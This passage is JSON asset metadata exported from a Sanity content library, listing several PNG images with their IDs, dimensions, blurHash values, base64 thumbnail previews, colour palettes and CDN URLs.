://cdn.sanity.io/images/sczeoy4w/production/a7d25ec69c6f479e9398bd65cd54e61cd83cc641-400x250.png"} {"_createdAt":"2022-06-30T20:11:02Z","_id":"image-7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940-png","_rev":"cEPH2uRN58AU2lp9QO8NPF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:30:50Z","assetId":"7f44a5f2abf84d2b6eba0622b13a71c1c334535d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VISOpxR*%h%2%hbcWVs:ofay?wWBRjs:Rj%MWVayj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.288659793814433,"height":1940,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAABcQAAAXEAEYYRHbAAAB8klEQVQokYWSi26iQBSGff/n6bpZERAVa1d3heEiLhpbuQ83QUDAwmxmsK222Wzy5eTPzHxw5mR6qC6azK+OVhmb5dEqj3aVumUKy9QrU69KYXOCKPMJ8CYEqDr1UBFVrhZoj5Y0NgFny2NX5W1lakkTW55C7fFsiMhTkae2pBIU5Osogz2U+ZUpQkAfFv3np28vP/uHRX//9LCfPxwW3x2Bynezxlg0xrIxlq2xbExckSOh1MZybYFkzfkSDQHtA1yhOISADhQ2XnPpn2mm85nO5zqfb3E972avtoiSTjZBrI4gGN7KvkRjZKb7KN6SriTa+GIK9zL5GwRDTxySfMV/C1CkPJGCgD5txhdL7NqGlSkGEmP//tHhrAbuauAK1AcrylkNul1XoBKNq02hxXLuf5JdgfIBHcgMRrqCGwaYUGHzLY/v/D6wmAyMnBiGCpusuUQb34NXUm182kzq/by9nfbxRg4kJpRZwnsgKGyksLE6KrZ8Y4OvMuNLncx0RyPlsxypo0yffrR9sUC65iIJXzJU2HQzybd8sZudCcU9592sfr5puzmsKnEQkzmHMlPu5+RJ/ZPWXCC3k/OwNcGrTB9F2gFspE1r4xdyhK+09lu2BQRVdHJ6qExR9NK6Wu1qZ1ervE0T6CjY/of4GRXhXyzTD/isgYETAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3022","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#781c0b","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d2bbac","foreground":"#000","population":0.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d2bbac","foreground":"#000","population":0.76,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc48c","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a46766","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed5e44","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940.png","path":"images/sczeoy4w/production/7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940.png","sha1hash":"7f44a5f2abf84d2b6eba0622b13a71c1c334535d","size":187225,"uploadId":"aWRXqyBq2guYGbZH8NI2ka7OKFj9HnvR","url":"https://cdn.sanity.io/images/sczeoy4w/production/7f44a5f2abf84d2b6eba0622b13a71c1c334535d-2500x1940.png"} {"_createdAt":"2022-06-15T20:02:30Z","_id":"image-b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriGtI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:03Z","assetId":"b470d4e70948803ce6c3c3d81c2a09705b1a637e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEFhh=}Y012uAH?FEME1?FxI009b?a?Fjv","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADYElEQVQokV3PXUxbdRzG8X/FVGvLpHHqkIRdaKY90HKwLzhGs9I1NjIkg2WBYmFtT8/pO6MTmIqdI7Rz7WSjmclgGyCRjRUPiClvA4GZTGOKI5PEG2LswJgs4dBuF17y+5mxOy8+ee6+yUMkJczHYiUzJFY6x8VK53dipZN/SqJi+DzaxstLbXwuzfB73/Py6roQ72o/zw/02JPJuGEp0macoyotEyKKHScKbphQbIjkqe1DUtqxLqUdGSnNbMloh1CgtQpGQ7XgOqoXWj4sFxqP1QlWd0jojA4IA4P9wveD7Zmblz963BmsydKmBiGniN0mCu4v8jQsV9smZLQjI6Md+FKJHd/QNGKD2Yi3bAfwQeA1XAsW4MK5Ghy9fgUT/CTOJMdwciSCfVEGT/nqUVHZjM8VsUgU3BNCsT+SF1XMmFjp3JLQHMq17h3j+xYY8VbAo6gO/v26Ap70V8HmxDlILSXh7vIyTM/MQteFHqh3eMB4nIX8g9yOiNoNZgjFzhMRxfKSUq/wlvlTrPX0QCwSw9RwF27OXcE/F4dx/W4C//h1EVfvr+D91VUcHZ/BaiaC+w2t+KapDfP1QXiB9iKhuCxRsPOEUNwPBYa27eb2q3h7YgF+W5zF9WUe1+7dwbmZKZydnsKflpfwl5/vYSqVwhsjk2hqDuPbH3Sirv5LVJ8Iw/4jn2CutiWbU+zeDU4VGtu3uc+u4cztadj45ipsXe+A3xNfwVBvGPq6WmEsfhZG+y/D4OAwRHqHoNYdhYMNYTA5LoGZ7YUKawwPVIWyUnVg93JSpvZtq6o78YwjsrPS6IJH9hpYOe+HW90+6HdVQtx+GE6ftIDV2QEN3jAYLGdBWfM5aE5EQN8U2ylvvIDvHA1lcrWBeSIrZqbyaHdWrgugusyH3ZomnNPX452Tfkx0BLHbVot1JjNqDltQZQ4gZQ5i/iE/vqwN4CvlQXxd34avHjqNe3Qtj59XuRfIPpX9WqHW82BfeevGXo0/rVMy6TMlzemEwfnwpuXU347jnn8Ky+ybMpp7KNf50tJ3PemcYi5NqGdEz3aDUNwaobhvyR6lw5pHu77IVfsuiku8UUkRFysrssd6Sptik0eYuL/K01dQ5ooTio2JKC5GFOz/RYmCvUgUbBdRsM7/APx4sLztvRLkAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3861","foreground":"#fff","population":0.97,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":19.79,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":19.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c9bea5","foreground":"#000","population":0.34,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e63751","foreground":"#fff","population":3.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a9fb0","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f28010","foreground":"#fff","population":7.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844.png","path":"images/sczeoy4w/production/b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844.png","sha1hash":"b470d4e70948803ce6c3c3d81c2a09705b1a637e","size":512556,"uploadId":"98zd1XiozNHGn6qgPaRCSq141mGMhs2I","url":"https://cdn.sanity.io/images/sczeoy4w/production/b470d4e70948803ce6c3c3d81c2a09705b1a637e-1567x844.png"} {"_createdAt":"2024-03-21T14:57:33Z","_id":"image-80906bd95a052fa26d1c9eacc61b5046fa8bd66e-1174x2380-png","_rev":"80Znsvx5FiXC5oBvpUlpag","_type":"sanity.imageAsset","_updatedAt":"2024-03-21T14:57:33Z","assetId":"80906bd95a052fa26d1c9eacc61b5046fa8bd66e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"cjIMjy%4R*GKBrs:jD^5a~5swFjYS4a}Wr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.49327731092436977,"height":2380,"width":1174},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4172","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a4007","foreground":"#fff","population":2.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#818be9","foreground":"#fff","population":13.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#162182","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#818be9","foreground":"#fff","population":13.87,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545b98","foreground":"#fff","population":3.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87304","foreground":"#fff","population":13.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bg-pattern-right.png","path":"images/sczeoy4w/production/80906bd95a052fa26d1c9eacc61b5046fa8bd66e-1174x2380.png","sha1hash":"80906bd95a052fa26d1c9eacc61b5046fa8bd66e","size":104626,"uploadId":"MWv6bTe9136UKule8MNweeifSFxwDNqB","url":"https://cdn.sanity.io/images/sczeoy4w/production/80906bd95a052fa26d1c9eacc61b5046fa8bd66e-1174x2380.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255-png","_rev":"QRl2cGoCgj0FlAhkRrhNUa","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:13:36Z","assetId":"73859f81374aa90aeec53e4d0ab33daddb4dd22b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VSFa8sof00W=-p%fj[R*ayj[00a|~VjZM|kCf6jufkj[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5686274509803921,"height":255,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAIAAAAmMtkJAAAACXBIWXMAAAsTAAALEwEAmpwYAAACXElEQVQokX3L3UtacRzH8d8fsVG7WBcFaVAL22aLWtSCFlQz9gA12F0Xg7GrtbFczXlSOSpSoR3zPKjnHFr0sGoV2YTlEqI7o4ta0rCs+dQszc6xTI3hOau5Lgaviy9f3h/QMkBnkxhoiYF6iNCt6Mc2dLjVNPzYOMT9KYnhn7JlgAaNeupCk55q1lMPDPQT03A7OfGcnmqnJp8RY4+MQ5IBupkLsntQ32e90NBPtmEjr8ZsH2YWYNuiZt4J25yKWYds+mvHuO0pPtrQT2b3oFZnqdVZ7uksNTpLfR/ZMT5vX9tc9fpcnp2VrV2XZ9fl2Vn1+uzrm28+2e/3UTVczK9AldZcpTXf1ZorNea6XlI249gI7MUY9iB6GDmMRaKxg0j0iGU3Ar/ks4t1vVSlJhPzK1CuJsrVxB01IYaJap21a9rx3b/HsPEYwzLxYyZ+wsSP4ycJdzD8fuZbtY4Uw5mYX4EyFV6mwm+qcJESr9BYOycd69s+Nhhiw/uJROI0lTpNppKptDu0/+6zo0JrFSkzMb8CJQqsRIHdUGDFPdgt2PJ6YmHthze+tXXsDyQTiVQ6nUqn02dn7tD+26mF22pLcU8m5ldACKFCCC2CUIEcLVUSL0a+LLm3/f6gPxQORo+CMYbDLnt+vhy1l6oIgdxUxE2EEAoKZCZevswkkGONyJh8bglxupDFFcT5FzS31GQcF0BY/nlfIDOBvK5B3vWuwbzuwUI5LoJJsZYWazjaP8pgshDC87q57By4JjVmy5UiuVIkR4rkdHL4m3vmSpFLMbjSiWS7+l+X4t96TbMhsHjk1AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#487c84","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c6c8b","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c7c97","foreground":"#fff","population":13.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e8eaeb","foreground":"#000","population":10.12,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94bcd4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5493a3","foreground":"#fff","population":4.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c7c97","foreground":"#fff","population":13.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255.png","path":"images/sczeoy4w/production/73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255.png","sha1hash":"73859f81374aa90aeec53e4d0ab33daddb4dd22b","size":10341,"uploadId":"koyH7JVpS23LLMd7dnU4GO1v1vpZ0jqd","url":"https://cdn.sanity.io/images/sczeoy4w/production/73859f81374aa90aeec53e4d0ab33daddb4dd22b-400x255.png"} {"_createdAt":"2022-06-30T20:10:01Z","_id":"image-9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZoinc","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:34Z","assetId":"9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MIFD_G]j0e7MVFBTNbr@SzNt0yX8}Y;Mx[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADNElEQVQokVWOX0xTZxjGn3NOW8FsZFjBhVnI8E/RHvp9PbRAKVjbWioW0OJuLCZqIEbQoC6hoFA5lInYMkrbU9syzbjYEl2cbCOLJgvbSAbxaltGNFHjhbuaiTEmQpUJPYuwLfomT57nvfnlB0qIilL6DiEkh1KaRSllRGc+ZAeQzgeeFyvxzOnGrG8I/nEJYyNRxOLJlUTjif/3yi8lAErpWkppHiHkfUEQcjyeJsXNWDdz/4SOfdJUxP6118rOHT7KXB6OInIpiZiUQPQNSOwt6CpQQSnNJnr9WqvVphoIBFSP/KXqxdMautRqsL/y2E0Lrsa8qfYzXDB5iUkNR9iYlGCj8SQTkxLMm4b/AXHA2wwZwKfRG0xCCquedheQpdMFFzOtdGp5ny31t8Nt+a2lU9U1PcleDse4aDzJxeLJ182+bZhcBY5G44As43xwkklJIeV8l9qy3JE3mTm07WWmoeb2K1tdw5z7SFb34Dn2806/IuIf4CI9/Vz4TB874uvF64yeFVcahBB0nPp4xfD8xZsYk0LKBd86S+Z47qTcvPnlUp351yeW2rZZk7vqJ2Od8HPZ7oKZY13cCFZPB6AUwP5/Gy/cJlxv2I3xIsDff23V0LfOstz+3vdy86bFRZf54QOT8+tfyuompg2uL3/gbQfHDY7C4M56dchozwlsq+ACJUYMVzoR2F4BpPdSfFelR03lR5i9LeOzeEix4MutWG7P/SrTvOlxutZ8967gmJnWO//8sdRxb6KkRhrlq9qGSHXLoNbkEDV8rlioxwXeDFHDAy/2lHPf7qhUHiwzKEm5lQ0P9rDzPnVxuk19Yt67JfHMZRn6w+jsm9Lvit/i7ZEvdBZfSKjsHTRUnRsoMe3r0/Dq3g/LEaDVEDfqgHSj4d1vrOX5XqOgLiE0+1BTI/v0rCbr/tEPCn8/oCV36i3aGZuneGJnE3/VXL89VW3fEqzfUfaJy2YUjTUb/UWCqkPrQU9tI8RCHkjv1+VM2IUNXpNhvVZPs51GgUlZgeCpIma8M08x1r+BPTx1HSevXGH2JMeYlrkhJnSrlRNvnOS88hzC69dAngbahi+gL38r/gEOCDqALJ3gHQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#603044","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#87040e","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6d0c","foreground":"#fff","population":2.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8b0d25","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48a9e","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45d53","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6d0c","foreground":"#fff","population":2.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844.png","path":"images/sczeoy4w/production/9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844.png","sha1hash":"9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f","size":31722,"uploadId":"d5KlXuz4TmQlr28HftCaXohmTLmQenFK","url":"https://cdn.sanity.io/images/sczeoy4w/production/9a1e35ed5f4eca2e8c7ded98de7c19d3b5799e0f-1567x844.png"} {"_createdAt":"2022-06-15T20:01:28Z","_id":"image-4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEaY5O","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:11Z","assetId":"4970ecc4d6ad9a32c0370493af852fa991d5dc63","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M6TM{5+Ce9.9e.^|jdg4kqg3dCemh0e9g3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB2UlEQVQokUXNeW/ScADG8b4qNzUDRg+ucrfYcXRd6SirtPw4Kg5amcIwcSYmXsle7ddAlpg8/36er8Q7F8dnOMIeYLXpVOnqDCo4ZbwifoGgQKgx1ZhpLBSWp8UaS0XCusV9jzumf43ZplWlo9OtMChzU8Ir4GsEGhOVSGWmMFdOF+oJ2yFBjDeh3aXWpFHHqGFV6VW51nHLjHXCGpHOtITQXvwL9mLiL4QfuXIxe1z1GPRw+/gD7npMbTY++4h9wPaGZePYF6f4QpG4igg2hBtGM0ZTgimRYDFjNWez4JDw68DzE89f+ZmwtokqiCJzlbksYQnCBxY7RMos4cOW9ZYkZZuyf+D7gd9P/P3GnwM/EpIRqy5xg1kBcSzPETuWj4Tpsb/cHv0qYZPyKWW74fOa3T2PKx4Ea5/UY9UhKjKRJXSf7gInpi/oT7kRDAUjwTjEDxj73N0y8QhdwmviIfdDhMlYw8tJXHS5tFEcFBvVpmSj29QG1CyqbeotWg2MBqaOVcFp4NZxijh57KzEK/O4M5Nzk9cmbw0yBrkW2SrZMvkiSgFNpSijyzQVWnk6OawsvazEWee/PzM4N3jT5qLJRY1MhVyJywJ5GVWmolJXaMq0LzEymJl/ftl+z/pPjjEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960219","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#820115","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7444","foreground":"#000","population":8.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#962902","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7444","foreground":"#000","population":8.97,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45c56","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3453","foreground":"#fff","population":6.84,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405.png","path":"images/sczeoy4w/production/4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405.png","sha1hash":"4970ecc4d6ad9a32c0370493af852fa991d5dc63","size":34852,"uploadId":"ayAD7zMENMs1XQ91lfo1dqlK0vn5MRfi","url":"https://cdn.sanity.io/images/sczeoy4w/production/4970ecc4d6ad9a32c0370493af852fa991d5dc63-752x405.png"} {"_createdAt":"2022-06-30T19:56:37Z","_id":"image-b02bfa1f175a6dbaefb8d40883a889373da31ffb-1288x794-png","_rev":"CK1sLU2mnwa3vmbYWEbAXE","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:53Z","assetId":"b02bfa1f175a6dbaefb8d40883a889373da31ffb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V15}gXIVDiwH%1-V?GrqVrnO-o^ksTVriw*0^jv|RPWY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6221662468513853,"height":794,"width":1288},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABtUlEQVQokXWSiWrjMBCG/Ryb+JKsY0ayDh/yFcd1kwYKYbPv/zSLnbYUuvvzM0igb4T+UTQo+m7Sk+F9193v98fjcbvdrtfr267L5TLPc1VViAg/FHkgk05rVThn53lelmUaPzVN4zA0bau15pyzH4pImrA8LkhKCeGMPY9si11ihyileZblWUayjOZbfW6j469DcjymcZzE8VfNs7woCg280cLA1pDu0qLoDLPIWEEpIdHxcEh3+MtZklBaIMI5mD9rtQSjEIUQUkJXlffVr6NRCjjj/4UBsQ/+tvZD2NLiQgBAW/vLMsxjq7XijP0DTpOEEioATNvVy2vZBAmwvV8Ia8w49CG0WzvGojiOSZZTQsluupsVDFC58Rzef7vxDIiCcymlc25Z5mkaldpvznOCqIx1pbGlscY6XRoARFR16MeX1zr0+Al776fT2HXhAyaE6LL0VeV95fxWrXWICgFaV86tbZwGKTjjUghbqtAY6w3ANoMoSZKCFttM2TdzjiCHpnw72aHRuNECpGysmjtbNxYQOX+m/T2tj7QpgAytX89daB0icC4Asa2ql3EYuvD8c38BGP93+zYq9BkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e4e48","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22516d","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b3afaa","foreground":"#000","population":1.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3afaa","foreground":"#000","population":1.19,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d59b5b","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#60859a","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d28632","foreground":"#fff","population":0.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b02bfa1f175a6dbaefb8d40883a889373da31ffb-1288x794.png","path":"images/sczeoy4w/production/b02bfa1f175a6dbaefb8d40883a889373da31ffb-1288x794.png","sha1hash":"b02bfa1f175a6dbaefb8d40883a889373da31ffb","size":29615,"uploadId":"xrXrahSQ0Y9DRUnLxS6WlfieTbOUxozd","url":"https://cdn.sanity.io/images/sczeoy4w/production/b02bfa1f175a6dbaefb8d40883a889373da31ffb-1288x794.png"} 